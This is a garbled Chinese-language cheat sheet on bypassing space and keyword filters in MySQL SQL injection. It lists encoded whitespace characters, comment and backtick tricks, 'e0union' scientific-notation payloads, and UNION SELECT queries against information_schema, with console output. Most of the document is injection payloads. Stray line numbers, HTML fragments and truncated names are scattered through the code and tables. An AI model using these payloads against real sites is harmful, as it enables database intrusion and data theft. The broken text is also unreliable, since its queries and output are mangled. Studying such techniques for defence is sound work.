-
必须要在字段前(强调:字段前)添加这些特殊
字符,或者这些特殊字符
包含字段
且一旦写入这些字符,可以不需要空格。
%
20
%
09
%
0
a
%
0b
%
0
c
%
0
d
%a0
/***/
@' '
包
含字段的特殊符号,
1
替代空格:
字
段前添加
2
代替
and
:
3
代替
or
:
4
代替
=
:
5
替代
un
ion
:
&&
||
like
||
(select user())
=
'root@localhost'
#
如果不知道
6
具体的
数据,可以用
Substring
一个个读出数据。
7
8
+
字段前添加
字段前添加
逃过空格
字段前添加
逃过空格
字段前添加
逃过空格
一串数字
字段前添加
逃过空格
取反
科学计数法
用在
id=1e0
包含的字段必须是数据库已有的字段
随意包含字段
随意包含字段
随意包含字段
随意包含字段和整个查询语句
字符串连接
可以逃过空格和关
键字过滤
9
‐
10
.
11
~
12
!
1e0
13
` `
使用反引号
`
,例如
select
可以逃过空格
竖线表示分割语句
可以逃过空格
可以逃过空格
可以逃过空格
只能出现在
select
的
p>
`
version()
`
< br>,可以用来过空格和正则,特殊情况下还可以将其做注释符用
14
@' '
16
' '
17
18
( )
15
|@a:=()
定义变量名
19
20
21
22
s
前面,替代空格
select * from where id
=
1e0
union select
1,2,3
?
1
mysql>
select
*
from
fendo
.user
where
id =
1
e0union
select
1
,
< br>2
,
3
;
2
+‐‐‐‐+‐‐‐‐‐‐‐‐‐
‐+‐‐‐‐‐‐‐‐‐‐‐+
3
| id | username
| password
|
4
+‐
‐‐‐+‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+
5
|
1
| fendo
6
|
1
|
2
| fendo8888 |
|
3
|
7
+‐‐‐‐+‐‐‐‐‐‐‐‐‐
‐+‐‐‐‐‐‐‐‐‐‐‐+
8
2
rows
in set
(
0.00
sec)
select * from
where id =
1e0union
select+1
,2,(select schema_name from
information_ta limit
1)
?
1
mysql>
select
*
from
fendo
.user
where
id =
1
e0union
select
+
1
,<
/p>
2
,(
select
schema_name
from
information_schema
.schemata
limit
1
);
2
+‐‐‐‐+‐‐‐‐‐‐‐‐‐
‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
3
| id | username
| password
5
|
1
| fendo
6
|
1
|
2
|
fendo8888
|
|
4
+‐‐‐‐+‐‐‐‐‐‐‐‐‐
‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|
information_schema |
7
+‐‐‐‐+‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
select * from where id =1e0union
select
information_ta limit
1)
?
-
1,2,(select schema_name
from
1
mysql>
select
*
from
fendo
.user
where
id
=
1
e0union
select<
/p>
‐
1
,
2
,(
select
schema_name
from
information_schema
.schemata
limit
1
);
2
+‐‐‐‐+‐‐‐‐‐‐‐‐‐
‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
3
| id | username
| password
5
|
1
| fendo
6
| ‐
1
|
2
| fendo8888
|
|
4
+‐‐‐‐+‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<
/p>
| information_schema
|
7
+‐
‐‐‐+‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
p>
``
包含的字段
必须是数据库里已有的字段
,否则会报错
select * from where id
=1e0union select 1,2,(select
`schema_name`
from
information_ta limit
1)
?
1
mysql>
select
*
from
fendo
.user
where
id =
1
e0union
select
1
,
< br>2
,(
select
`schema_name`
from
information_schema
.schemata
limit
1
);
2
+‐‐‐‐+‐‐‐‐‐‐‐‐‐
‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
3
| id | username
| password
5
|
1
| fendo
6
|
1
|
2
|
fendo8888
|
|
4
+‐‐‐‐+‐‐‐‐‐‐‐‐‐
‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|
information_schema |
7
+‐‐‐‐+‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
8
2
rows
in set
(
0.00
sec)
9
10
mysql>
select
*
from
fendo
.user
where
id
=
1
e0union
select
`1`,
2
,
(
select
`schema_name`
from
information_schema
.schemata
limit
1
);
11
ERROR
1054
(
42
S22):
Unknown
column
'1'
in
'field
list'
-
-
-
-
-
-
-
-
-
上一篇:BIQSBYPASS旁路控制的解析和实施
下一篇:使用包嗅探及协议分析软件